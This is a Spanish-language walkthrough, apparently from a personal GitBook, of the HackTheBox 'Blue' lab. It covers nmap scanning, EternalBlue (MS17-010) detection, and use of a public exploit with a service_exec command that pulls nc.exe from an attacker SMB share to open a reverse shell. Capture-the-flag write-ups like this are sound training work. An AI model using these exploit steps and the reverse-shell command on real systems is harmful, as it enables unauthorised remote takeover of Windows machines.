BARIH0x
GITHUBHTB
  • 📀BARIHO
    • 📜 CERTIFICACIONES
      • ✅eJPT
      • ✅OSWP
      • OSCP
  • 🛡️ PROYECTOS
    • ⚙️HOME LAB
      • 🍓PI-HOLE
      • 🗄️OPENMEDIAVAULT
      • ⛓️HOME ASSISTANTS [TRABAJANDO]
      • 🌐OPNSense [PROXIMO]
    • ⛔T-POT
  • ⚔️ WALKTHROUGH
    • 📄 HackTheBox
      • Legacy
      • Blue
      • Lame
    • 📄 TryHackme
      • 27 ~ Cmess - Linux
      • 26 ~ Battery - Linux
      • 25 ~ ConvertMyVideo - Linux
      • 24 ~ DogCat - Linux
      • 23 ~ Wonderland - Linux
      • 22 ~ Lian_Yu - Linux
      • 21 ~ Tomghost - Linux
      • 20 ~ LazyAdmin - Linux
      • 19 ~Boiler CTF - Linux
      • 18 ~ Couchdb - Linux
      • 17 ~ 0day - Linux
      • 16 ~ Brute It - Linux
      • 15 ~ Blog - Linux
      • 14 ~ Madness - Linux
      • 13 ~ Year Of The Rabbit - Linux
      • 12 ~ Inclusion - Linux
      • 11 ~ UltraTech - Linux
      • 10 ~ Anonymous - Linux
      • 9 ~ Ignite - Linux
      • 8 ~ Vulnversity - Linux
      • 7 ~ Basic Pentesting - Linux
      • 6 ~ MrRobot - Linux
      • 5 ~ Agent-Sudo - Linux
      • 4 ~ EasyCTF - Linux
      • 3 ~ Thompson - Linux
      • 2 ~ RootMe - Linux
      • 1 ~ Bounty Hacker - Linux
    • 🎮 OverTheWire
      • BANDIT
      • NATAS
        • Natas 0
    • 🎮 DVWA
      • Instalación DVWA (XAMPP)
      • Instalación DVWA (DOCKER)
      • Command Injection
      • File Inclusion
      • SQL Injection
  • 🛠️RECURSOS
  • Herramientas
  • 🗃️ Scripts
    • KillSSH
  • 💣 Maquinas
    • Login Wordpress - MrRobot
    • Fuzzing - Madness
  • 🔎 LINKS DE INTERERES
Con tecnología de GitBook
En esta página
  1. ⚔️ WALKTHROUGH
  2. 📄 HackTheBox

Blue

AnteriorLegacySiguienteLame

Última actualización hace 7 meses

Comenzamos la maquina enumerando los puertos abiertos con nmap, enumeraremos todos los puertos con el parámetro -p- y filtraremos solo los puertos que estén abiertos.

sudo nmap -p- --open -sS -min-rate 5000 -Pn -n 10.129.142.93 -oG allPorts

Aquí vemos los puertos abiertos de la maquina victima, vamos a lanzar una enumeración para que nos muestre más información de los servicios, como versiones, Dominio, Aplicación.

nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.129.142.93 -Pn -oN target

En el reporte de nmap, vemos que tenemos un windows 7 con un SMB abierto, vamos a lanzar nuevamente nmap con un script para detectar si es vulnerable a EternalBlue.

nmap -p445 --script smb-vuln-ms17-010 10.129.142.93

Buscamos la IDs que nos da nmap en Google. También podemos buscarlo por (ms17-010).

Permite a atacantes remotos ejecutar código arbitrario a través de paquetes diseñados, también conocida como "vulnerabilidad de ejecución remota de código SMB en Windows".

Vamos a ver si tenemos algún repositorio en github con un exploit para explotar el EternalBlue.

Tenemos varios archivos, vamos a ejecutar de primeras checker.py, en este caso si lo ejecutamos no nos dará la información que necesitamos.

Vamos a editar el archivo y simplemente le añadiremos un usuario "GUEST", ya que la conexión de invitados esta disponible.

Al volver a lanzarlo, vemos que la cosa cambia.

Tenemos varios pipes que podremos usar mas adelante. Ahora vamos a configurar el archivo zzz_exploit.py.

Marcamos todas las líneas de comandos y desmarcamos la línea de service_exec.

Recordar añadir el usuario GUEST como hicimos en el archivo checker.py y modificar la línea con el comando que queramos que ejecute la maquina victima.

service_exec(conn, r'cmd /c \\10.10.16.10\smbFolder\nc.exe -e cmd 10.10.16.10 443')

Ahora tenemos que buscar el ejecutable nc.exe y compartir un recurso compartido para que la maquina victima lo ejecute y nos de una reverse shell.

impacket-smbserver smbFolder $(pwd) -smb2support

Ahora nos ponemos en escucha con netcat, y ejecutamos el archivo zzz_exploit.py con un pipe valido, que hemos obtenido anteriormente con el checker.py, en este caso usare el pipe samr.

python2.7 zzz_exploit.py 10.129.142.93 samr

Conseguimos una reverse shell como nt authority\system.

Descargamos el repositorio en nuestro equipo.

https://nvd.nist.gov/vuln/detail/cve-2017-0143
https://github.com/worawit/MS17-010